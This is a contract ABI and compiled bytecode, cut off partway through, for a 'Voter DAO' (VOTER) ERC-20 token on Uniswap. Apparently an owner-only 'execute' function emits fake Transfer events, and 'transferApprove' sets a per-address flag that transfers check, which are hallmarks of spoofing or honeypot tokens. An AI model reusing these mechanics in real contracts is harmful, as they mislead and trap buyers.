[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "uint256", "name": "_maxTxAmount", "type": "uint256" } ], "name": "MaxTxAmountUpdated", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "uint256", "name": "_tax", "type": "uint256" } ], "name": "TransferTaxUpdated", "type": "event" }, { "inputs": [], "name": "_maxTaxSwap", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxTxAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxWalletSize", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_taxSwapThreshold", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "pair_", "type": "address" } ], "name": "addPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" } ], "name": "call", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "_addresses", "type": "address[]" }, { "internalType": "uint256", "name": "_out", "type": "uint256" } ], "name": "execute", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "lpBurnEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "manualSwap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "openTrade", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_newFee", "type": "uint256" } ], "name": "reduceFee", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "removeLimit", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "removeTranTax", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_address", "type": "address" }, { "internalType": "uint256", "name": "percent", "type": "uint256" } ], "name": "rescueERC20", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "startTrading", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "tradingEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "address_", "type": "address[]" }, { "internalType": "bool", "name": "val", "type": "bool" } ], "name": "transferApprove", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "uniswapV2Pair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
60806040526017600c556017600d556000600e556000600f5560176010556017601155601a601255604660135560006014556009600a6200004191906200077b565b6401f4add400620000539190620007cc565b6017556009600a6200006691906200077b565b6401f4add400620000789190620007cc565b6018556009600a6200008b91906200077b565b63fa56ea006200009c9190620007cc565b6019556009600a620000af91906200077b565b6401f4add400620000c19190620007cc565b601a556001601b60166101000a81548160ff0219169083151502179055506000601b60176101000a81548160ff0219169083151502179055506000601b60186101000a81548160ff0219169083151502179055506000601b60196101000a81548160ff0219169083151502179055506001601b601a6101000a81548160ff0219169083151502179055506001601b806101000a81548160ff0219169083151502179055506000601c556000601d553480156200017c57600080fd5b5060006200018f620004d860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200023d620004d860201b60201c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200028d91906200077b565b644f299448006200029f9190620007cc565b60026000620002b3620004d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016004600062000307620004e060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200043a6200050960201b60201c565b6200044a620004d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004a991906200077b565b644f29944800620004bb9190620007cc565b604051620004ca919062000828565b60405180910390a3620008c8565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000519620004d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620005a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005a090620008a6565b60405180910390fd5b6001601b60176101000a81548160ff0219169083151502179055506000601b601a6101000a81548160ff021916908315150217905550565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200066f57808604811115620006475762000646620005e1565b5b6001851615620006575780820291505b8081029050620006678562000610565b945062000627565b94509492505050565b6000826200068a57600190506200075d565b816200069a57600090506200075d565b8160018114620006b35760028114620006be57620006f4565b60019150506200075d565b60ff841115620006d357620006d2620005e1565b5b8360020a915084821115620006ed57620006ec620005e1565b5b506200075d565b5060208310610133831016604e8410600b84101617156200072e5782820a905083811115620007285762000727620005e1565b5b6200075d565b6200073d84848460016200061d565b92509050818404811115620007575762000756620005e1565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007888262000764565b915062000795836200076e565b9250620007c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000678565b905092915050565b6000620007d98262000764565b9150620007e68362000764565b9250828202620007f68162000764565b9150828204841483151762000810576200080f620005e1565b5b5092915050565b620008228162000764565b82525050565b60006020820190506200083f600083018462000817565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200088e60208362000845565b91506200089b8262000856565b602082019050919050565b60006020820190508181036000830152620008c1816200087f565b9050919050565b6140d080620008d86000396000f3fe6080604052600436106101c65760003560e01c806370a08231116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e146105e1578063ec1f3f631461061e578063f55332ab14610647578063fb201b1d14610684576101cd565b8063a9059cbb14610527578063a9ddeaa214610564578063bf474bed1461058d578063c2b7bbb6146105b8576101cd565b80638cd4426d116100d15780638cd4426d1461047d5780638da5cb5b146104a65780638f9a55c0146104d157806395d89b41146104fc576101cd565b806370a08231146103fe578063715018a61461043b5780637d1db4a514610452576101cd565b8063293230b81161016457806349bd5a5e1161013e57806349bd5a5e1461037a5780634ada218b146103a557806351bc3c85146103d057806362256589146103e7576101cd565b8063293230b81461030d5780632e82f1a014610324578063313ce5671461034f576101cd565b80630faee56f116101a05780630faee56f1461025157806318160ddd1461027c57806323b872dd146102a757806326ededb8146102e4576101cd565b806302fa1f4a146101d257806306fdde03146101e9578063095ea7b314610214576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e761069b565b005b3480156101f557600080fd5b506101fe610772565b60405161020b9190612d80565b60405180910390f35b34801561022057600080fd5b5061023b60048036038101906102369190612e40565b6107af565b6040516102489190612e9b565b60405180910390f35b34801561025d57600080fd5b506102666107cd565b6040516102739190612ec5565b60405180910390f35b34801561028857600080fd5b506102916107d3565b60405161029e9190612ec5565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c99190612ee0565b6107f8565b6040516102db9190612e9b565b60405180910390f35b3480156102f057600080fd5b5061030b60048036038101906103069190612f98565b6108d1565b005b34801561031957600080fd5b50610322610a35565b005b34801561033057600080fd5b50610339610b02565b6040516103469190612e9b565b60405180910390f35b34801561035b57600080fd5b50610364610b13565b6040516103719190613014565b60405180910390f35b34801561038657600080fd5b5061038f610b1c565b60405161039c919061303e565b60405180910390f35b3480156103b157600080fd5b506103ba610b42565b6040516103c79190612e9b565b60405180910390f35b3480156103dc57600080fd5b506103e5610b55565b005b3480156103f357600080fd5b506103fc610c0a565b005b34801561040a57600080fd5b5061042560048036038101906104209190613059565b610d3d565b6040516104329190612ec5565b60405180910390f35b34801561044757600080fd5b50610450610d86565b005b34801561045e57600080fd5b50610467610ed9565b6040516104749190612ec5565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612e40565b610edf565b005b3480156104b257600080fd5b506104bb611089565b6040516104c8919061303e565b60405180910390f35b3480156104dd57600080fd5b506104e66110b2565b6040516104f39190612ec5565b60405180910390f35b34801561050857600080fd5b506105116110b8565b60405161051e9190612d80565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190612e40565b6110f5565b60405161055b9190612e9b565b60405180910390f35b34801561057057600080fd5b5061058b600480360381019061058691906130b2565b611113565b005b34801561059957600080fd5b506105a2611247565b6040516105af9190612ec5565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190613059565b61124d565b005b3480156105ed57600080fd5b5061060860048036038101906106039190613112565b611326565b6040516106159190612ec5565b60405180910390f35b34801561062a57600080fd5b5061064560048036038101906106409190613152565b6113ad565b005b34801561065357600080fd5b5061066e60048036038101906106699190613059565b61143c565b60405161067b9190612e9b565b60405180910390f35b34801561069057600080fd5b50610699611492565b005b6106a36119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610727906131cb565b60405180910390fd5b60006013819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de360006040516107689190613230565b60405180910390a1565b60606040518060400160405280600981526020017f566f7465722044414f0000000000000000000000000000000000000000000000815250905090565b60006107c36107bc6119cb565b84846119d3565b6001905092915050565b601a5481565b60006009600a6107e391906133ad565b644f299448006107f391906133f8565b905090565b6000610805848484611b9c565b6108c6846108116119cb565b6108c18560405180606001604052806028815260200161407360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108776119cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268b9092919063ffffffff16565b6119d3565b600190509392505050565b6108d96119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095d906131cb565b60405180910390fd5b60005b83839050811015610a2f578383828181106109875761098661343a565b5b905060200201602081019061099c9190613059565b73ffffffffffffffffffffffffffffffffffffffff16601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1a9190612ec5565b60405180910390a38080600101915050610969565b50505050565b610a3d6119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac1906131cb565b60405180910390fd5b6001601b60176101000a81548160ff0219169083151502179055506000601b601a6101000a81548160ff021916908315150217905550565b601b8054906101000a900460ff1681565b60006009905090565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60179054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b966119cb565b73ffffffffffffffffffffffffffffffffffffffff1614610bb657600080fd5b6000610bc130610d3d565b9050600081118015610bdf5750601b60199054906101000a900460ff165b15610bee57610bed816126ef565b5b60004790506000811115610c0657610c0581612968565b5b5050565b610c126119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c96906131cb565b60405180910390fd5b6009600a610cad91906133ad565b644f29944800610cbd91906133f8565b6017819055506009600a610cd191906133ad565b644f29944800610ce191906133f8565b6018819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d1691906133ad565b644f29944800610d2691906133f8565b604051610d339190612ec5565b60405180910390a1565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d8e6119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e12906131cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60175481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f206119cb565b73ffffffffffffffffffffffffffffffffffffffff1614610f4057600080fd5b6000610fe16064610fd3848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f84919061303e565b602060405180830381865afa158015610fa1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc5919061347e565b6129d490919063ffffffff16565b612a4e90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611040929190613500565b6020604051808303816000875af115801561105f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611083919061353e565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600581526020017f564f544552000000000000000000000000000000000000000000000000000000815250905090565b60006111096111026119cb565b8484611b9c565b6001905092915050565b61111b6119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f906131cb565b60405180910390fd5b60005b838390508110156112415781600a60008686858181106111ce576111cd61343a565b5b90506020020160208101906111e39190613059565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506111ab565b50505050565b60195481565b6112556119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d9906131cb565b60405180910390fd5b80601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113ee6119cb565b73ffffffffffffffffffffffffffffffffffffffff161461140e57600080fd5b600e5481111580156114225750600f548111155b61142b57600080fd5b80600e8190555080600f8190555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61149a6119cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e906131cb565b60405180910390fd5b601b60159054906101000a900460ff1615611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e906135b7565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061161630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61160191906133ad565b644f2994480061161191906133f8565b6119d3565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611683573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a791906135ec565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611730573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175491906135ec565b6040518363ffffffff1660e01b8152600401611771929190613619565b6020604051808303816000875af1158015611790573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b491906135ec565b601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061183d30610d3d565b600080611848611089565b426040518863ffffffff1660e01b815260040161186a96959493929190613642565b60606040518083038185885af1158015611888573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118ad91906136a3565b505050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161194f9291906136f6565b6020604051808303816000875af115801561196e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611992919061353e565b506001601b60196101000a81548160ff0219169083151502179055506001601b60156101000a81548160ff021916908315150217905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3990613791565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa890613823565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b8f9190612ec5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c02906138b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7190613947565b60405180910390fd5b60008111611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb4906139d9565b60405180910390fd5b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3c90613a6b565b60405180910390fd5b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611dd15743600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601b601a9054906101000a900460ff161561249857611dee611089565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611e5c5750611e2c611089565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e955750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ecf575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ee85750601b60149054906101000a900460ff16155b1561249757601b60179054906101000a900460ff16611fe257600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fa25750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613afd565b60405180910390fd5b5b601b60169054906101000a900460ff16156121ae57611fff611089565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120885750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120e25750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121ad5743600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215f90613bb5565b60405180910390fd5b43600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122515750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122f85760155483111561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229290613c47565b60405180910390fd5b6016546122a785610d3d565b846122b29190613c67565b11156122f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ea90613ce7565b60405180910390fd5b612496565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561239b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123ea576015548311156123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc90613d79565b60405180910390fd5b612495565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124945760165461244785610d3d565b846124529190613c67565b1115612493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248a90613ce7565b60405180910390fd5b5b5b5b5b5b601b60149054906101000a900460ff161580156124bf5750601b8054906101000a900460ff165b156124d1576124ce8584612a98565b92505b61252383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ca61257c8385612b0790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b5190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61266f8587612b0790919063ffffffff16565b60405161267c9190612ec5565b60405180910390a35050505050565b60008383111582906126d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ca9190612d80565b60405180910390fd5b50600083856126e29190613d99565b9050809150509392505050565b6001601b60186101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272757612726613dcd565b5b6040519080825280602002602001820160405280156127555781602001602082028036833780820191505090505b509050308160008151811061276d5761276c61343a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612814573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061283891906135ec565b8160018151811061284c5761284b61343a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119d3565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612917959493929190613eba565b600060405180830381600087803b15801561293157600080fd5b505af1158015612945573d6000803e3d6000fd5b50505050506000601b60186101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156129d0573d6000803e3d6000fd5b5050565b60008083036129e65760009050612a48565b600082846129f491906133f8565b9050828482612a039190613f43565b14612a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3a90613fe6565b60405180910390fd5b809150505b92915050565b6000612a9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612baf565b905092915050565b600080829050600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff